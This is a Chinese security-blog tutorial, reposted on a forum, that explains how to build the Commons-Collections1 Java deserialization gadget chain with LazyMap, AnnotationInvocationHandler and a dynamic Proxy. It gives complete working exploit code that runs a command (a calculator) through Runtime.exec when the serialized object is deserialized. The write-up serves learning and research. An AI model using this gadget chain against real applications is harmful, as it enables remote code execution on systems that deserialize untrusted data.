搜索

[2188] 2020-10-28_【内部投稿】利用LazyMap构造利用链

文档创建者：s7ckTeam
浏览次数：34
最后更新：2025-01-16
2020-10-28_【内部投稿】利用LazyMap构造利用链 【 内 部 投 稿 】 利 用 L a z y M a p 构 造 利 用 链 原 创   r e a d e r - l   E D I 安 全   2 0 2 0 - 1 0 - 2 8 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 前 言 j a v a 安 全 - 反 序 列 化 之 利 用 L a z y M a p 构 造 利 用 链 。 在 代 码 审 计 的 知 识 星 球 里 ， 看 到 p 神 关 于 j a v a 反 序 列 化 系 列 的 文 章 。 于 是 跟 着 该 系 列 文 章 进 行 学 习 。 这 是 跟 这 个 系 列 学 习 的 第 三 篇 文 章 前 面 记 录 关 于 简 化 C o m m o n C o l l e c t i o n s 1 利 用 链 学 习 分 析 ， 我 们 都 是 用 到 了 T r a n s f o r m e d M a p ， 但 是 我 们 在 y s o 中 的 C o m m o n C o l l e c t i o n s 1 利 用 链 中 用 到 的 是 L a z y M a p ， 因 此 这 篇 文 章 就 是 学 习 L a z y M a p ， 并 用 它 来 构 造 利 用 链 。 0 2 学 习 记 录 1 . y s o s e r i a l 中 的 中 的 L a z y M a p 是 啥 是 啥 L a z y M a p 和 T r a n s f o r m e d M a p 类 似 ， 都 来 自 于 C o m m o n - C o l l e c t i o n s 库 ， 并 继 承 了 A b s t r a c t M a p D e c o r a t o r 。 T r a n s f o r m e d M a p 的 漏 洞 触 发 点 ： 是 在 利 用 p u t 方 法 写 入 元 素 的 时 候 触 发 了 t r a n s f o r m 方 法 从 而 触 发 了 我 们 构 造 的 恶 意 利 用 链 （ 具 体 看 我 之 前 写 的 文 章 j a v a 安 全 - 反 序 列 化 之 简 化 的 类 C o m m o n C o l l e c t i o n 1 利 用 链 分 析 ） 0 x 0 1
而 L a z y M a p 的 漏 洞 触 发 点 略 有 差 别 ： L a z y M a p 是 在 其 g e t 方 法 中 执 行 的 f a c t o r y . t r a n s f o r m 。 当 m a p . c o n t a i n s k e y ( k e y )   = =   f a l s e ， 就 会 调 用 f a c t o r y . t r a n s f o r m 。 在 j a v a 安 全 - 反 序 列 化 之 简 化 的 类 C o m m o n C o l l e c t i o n 1 利 用 链 完 善 这 篇 文 章 中 我 们 有 分 析 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r ， 在 其 r e a d O b j e c t 方 法 中 通 过 调 用 s e t V a l u e 添 加 元 素 来 触 发 t r a n s f o r m 。 但 是 在 r e a d O b j e c t 方 法 中 没 有 直 接 调 用 到 M a p 的 g e t 方 法 。 y s o 作 者 用 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r 类 的 i n v o k e 方 法 有 调 用 到 g e t :
y s o 的 作 者 是 利 用 j a v a 的 对 象 代 理 来 调 用 A n n o t a t i o n I n v o c a t i o n H a n d l e r # i n v o k e 。 之 前 在 学 习 j a v a 的 动 态 代 理 的 时 候 看 过 一 篇 文 章 ， 讲 述 了 j a v a 动 态 代 理 中 的 i n v o k e 方 法 是 如 何 被 自 动 调 用 的 。 h t t p s : / / b l o g . c s d n . n e t / z c c _ 0 0 1 5 / a r t i c l e / d e t a i l s / 2 2 6 9 5 6 4 7 我 想 这 应 该 是 作 者 利 用 j a v a 的 对 象 代 理 的 原 因 吧 ？ 2 . J A V A 的 对 象 代 理 的 利 用 的 对 象 代 理 的 利 用 我 们 需 要 用 到 j a v a . r e f l e c t . P r o x y ： P r o x y . n e w P r o x y I n s t a n c e   的 第 一 个 参 数 是 C l a s s L o a d e r ， 我 们 用 默 认 的 即 可 ； 第 二 个 参 数 是 我 们 需 要 代 理 的 对 象 集 合 ； 第 三 个 参 数 是 一 个 实 现 了 I n v o c a t i o n H a n d l e r 接 口 的 对 象 ， 里 面 包 含 了 具 体 代 理 的 逻 辑 。 p 神 的 神 的 d e m o : 0 x 0 2 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ; p a c k a g e   v u l h u b ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . M e t h o d ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   E x a m p l e I n v o c a t i o n H a n d l e r   i m p l e m e n t s   I n v o c a t i o n H a n d l e r   {         p r o t e c t e d   M a p   m a p ;         p u b l i c     E x a m p l e I n v o c a t i o n H a n d l e r ( M a p   m a p ) {                 t h i s . m a p   =   m a p ;         }         @ O v e r r i d e         p u b l i c   O b j e c t   i n v o k e ( O b j e c t   p r o x y ,   M e t h o d   m e t h o d ,   O b j e c t [ ]   a r g s )   t h r o w s   T h r o w a b l e   {                 i f ( m e t h o d . g e t N a m e ( ) . c o m p a r e T o ( " g e t " )   = =   0 ) {                         S y s t e m . o u t . p r i n t l n ( " H o o k   m e t h o d :   " +   m e t h o d . g e t N a m e ( ) ) ;                         r e t u r n   " h a c k e d   O b j e c t " ;                 }
看 执 行 结 果 ， 我 们 能 发 现 我 们 明 明 传 进 M a p 是 t e s t 值 为 x x x ， 但 是 我 们 获 取 到 的 结 果 却 是 h a c k e d   O b j e c t 。 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r ， 这 个 类 实 际 就 是 一 个 I n v o c a t i o n H a n d l e r ， 将 这 个 对 象 用 P r o x y 进 行 代 理 ， 那 么 在 r e a d O b j e c t 的 时 候 ， 只 要 调 用 任 意 的 方 法 。 就 会 自 动 调 用 到   A n n o t a t i o n I n v o c a t i o n H a n d l e r # i n v o k e   方 法 ， 进 而 触 发 我 们 的 L a z y M a p # g e t 3 . 利 用 利 用 L a z y M a p 构 造 利 用 链 构 造 利 用 链 在 上 一 篇 完 善 的 简 化 的 类 C o m m o n s C o l l e c t i o n 1 的 d e m o 基 础 上 进 行 修 改 。 首 先 使 用 L a z y M a p 替 换 T r a n s f o r m e d M a p 。 然 后 通 过 反 射 获 取 s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r 这 个 内 部 类 ， 然 后 进 行 对 其 进 行 P r o x y 。 代 理 后 的 对 象 叫 做 p r o x y M a p ， 但 我 们 不 能 直 接 对 其 进 行 序 列 化 ， 因 为 我 们 入 口 点 是 ： s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r # r e a d O b j e c t ， 所 以 我 们 还 需 要 再 用 A n n o t a t i o n I n v o c a t i o n H a n d l e r 对 这 个 p r o x y M a p 进 行 包 裹 ：                 r e t u r n   m e t h o d . i n v o k e ( t h i s . m a p , a r g s ) ;         } } p a c k a g e   v u l h u b ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . P r o x y ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   E x a m p l e T e s t   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   {                 I n v o c a t i o n H a n d l e r   h a n d l e r   =   n e w   E x a m p l e I n v o c a t i o n H a n d l e r ( n e w   H a s h M a p ( ) ) ;                 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ;                 p r o x y M a p . p u t ( " t e s t " , " x x x " ) ;                 S t r i n g   r e s u l t   =   ( S t r i n g ) p r o x y M a p . g e t ( " t e s t " ) ;                 S y s t e m . o u t . p r i n t l n ( r e s u l t ) ;         } } 0 x 0 3 M a p   o u t e r M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ; C l a s s   c l a z z   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ; C o n s t r u c t o r   c o n s t r u c t   =   c l a z z . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s ,   M a p . c l a s s ) ; c o n s t r u c t . s e t A c c e s s i b l e ( t r u e ) ; I n v o c a t i o n H a n d l e r   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   o u t e r M a p ) ; M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ; h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;
全 部 代 码 ： 全 部 代 码 ： 4 . 小 问 题 当 我 用 d e b u g 调 试 到 了 以 下 这 句 代 码 后 ： 会 直 接 弹 出 三 个 计 算 器 . . . . . . . . h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ; p a c k a g e   v u l h u b ; i m p o r t   g r o o v y . t r a n s f o r m . U n d e f i n e d ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C h a i n e d T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . C o n s t a n t T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . f u n c t o r s . I n v o k e r T r a n s f o r m e r ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . L a z y M a p ; i m p o r t   o r g . a p a c h e . c o m m o n s . c o l l e c t i o n s . m a p . T r a n s f o r m e d M a p ; i m p o r t   j a v a . i o . B y t e A r r a y I n p u t S t r e a m ; i m p o r t   j a v a . i o . B y t e A r r a y O u t p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t I n p u t S t r e a m ; i m p o r t   j a v a . i o . O b j e c t O u t p u t S t r e a m ; i m p o r t   j a v a . l a n g . a n n o t a t i o n . R e t e n t i o n ; i m p o r t   j a v a . l a n g . r e f l e c t . C o n s t r u c t o r ; i m p o r t   j a v a . l a n g . r e f l e c t . I n v o c a t i o n H a n d l e r ; i m p o r t   j a v a . l a n g . r e f l e c t . P r o x y ; i m p o r t   j a v a . u t i l . H a s h M a p ; i m p o r t   j a v a . u t i l . M a p ; p u b l i c   c l a s s   c c T e s t 2   {         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 T r a n s f o r m e r [ ]   t r a n s f o r m e r s   =   n e w   T r a n s f o r m e r [ ]   {                         n e w   C o n s t a n t T r a n s f o r m e r ( R u n t i m e . c l a s s ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " g e t M e t h o d " ,   n e w   C l a s s [ ]   {   S t r i n g . c l a s s ,   C l a s s [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   {   " g e t R u n t i m e " ,   n e w   C l a s s [ 0 ]   } ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " i n v o k e " ,   n e w   C l a s s [ ]   {   O b j e c t . c l a s s ,   O b j e c t [ ] . c l a s s   } ,   n e w   O b j e c t [ ]   {   n u l l ,   n e w   O b j e c t [ 0 ]   } ) ,                         n e w   I n v o k e r T r a n s f o r m e r ( " e x e c " ,   n e w   C l a s s [ ]   {   S t r i n g . c l a s s   } ,   n e w   S t r i n g [ ]   { " d e e p i n - c a l c u l a t o r "   } ) ,                 } ;                 T r a n s f o r m e r   t r a n s f o r m e r C h a i n   =   n e w   C h a i n e d T r a n s f o r m e r ( t r a n s f o r m e r s ) ;                 M a p   i n n e r M a p   =   n e w   H a s h M a p ( ) ;                 M a p   o u t e r M a p   =   L a z y M a p . d e c o r a t e ( i n n e r M a p ,   t r a n s f o r m e r C h a i n ) ;                 C l a s s   c l a z z   =   C l a s s . f o r N a m e ( " s u n . r e f l e c t . a n n o t a t i o n . A n n o t a t i o n I n v o c a t i o n H a n d l e r " ) ;                 C o n s t r u c t o r   c o n s t r u c t   =   c l a z z . g e t D e c l a r e d C o n s t r u c t o r ( C l a s s . c l a s s ,   M a p . c l a s s ) ;                 c o n s t r u c t . s e t A c c e s s i b l e ( t r u e ) ;                 I n v o c a t i o n H a n d l e r   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   o u t e r M a p ) ;                 M a p   p r o x y M a p   =   ( M a p )   P r o x y . n e w P r o x y I n s t a n c e ( M a p . c l a s s . g e t C l a s s L o a d e r ( ) ,   n e w   C l a s s [ ]   { M a p . c l a s s } ,   h a n d l e r ) ;                 h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;                 B y t e A r r a y O u t p u t S t r e a m   b a r r   =   n e w   B y t e A r r a y O u t p u t S t r e a m ( ) ;                 O b j e c t O u t p u t S t r e a m   o o s   =   n e w   O b j e c t O u t p u t S t r e a m ( b a r r ) ;                 o o s . w r i t e O b j e c t ( h a n d l e r ) ;                 o o s . c l o s e ( ) ;                 S y s t e m . o u t . p r i n t l n ( b a r r ) ;                 O b j e c t I n p u t S t r e a m   o i s   =   n e w   O b j e c t I n p u t S t r e a m ( n e w   B y t e A r r a y I n p u t S t r e a m ( b a r r . t o B y t e A r r a y ( ) ) ) ;                 O b j e c t   o   =   ( O b j e c t ) o i s . r e a d O b j e c t ( ) ;         } } 0 x 0 4   h a n d l e r   =   ( I n v o c a t i o n H a n d l e r )   c o n s t r u c t . n e w I n s t a n c e ( R e t e n t i o n . c l a s s ,   p r o x y M a p ) ;
引 用 p 神 的 话 ： 在 使 用 P r o x y 代 理 了 m a p 对 象 后 ， 我 们 在 任 何 地 方 执 行 m a p 的 方 法 就 会 触 发 P a y l o a d 弹 出 计 算 器 ， 所 以 ， 在 本 地 调 试 代 码 的 时 候 ， 因 为 调 试 器 会 在 下 面 调 用 一 些 t o S t r i n g 之 类 的 方 法 ， 导 致 不 经 意 间 触 发 了 命 令 。 y s o s e r i a l 对 此 有 一 些 处 理 ， 它 在 P O C 的 最 后 才 将 执 行 命 令 的 T r a n s f o r m e r 数 组 设 置 到 t r a n s f o r m e r C h a i n 中 ， 原 因 是 避 免 本 地 生 成 序 列 化 流 的 程 序 执 行 到 命 令 （ 在 调 试 程 序 的 时 候 可 能 会 触 发 一 次 P r o x y # i n v o k e E D I 安 全 安 全
一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理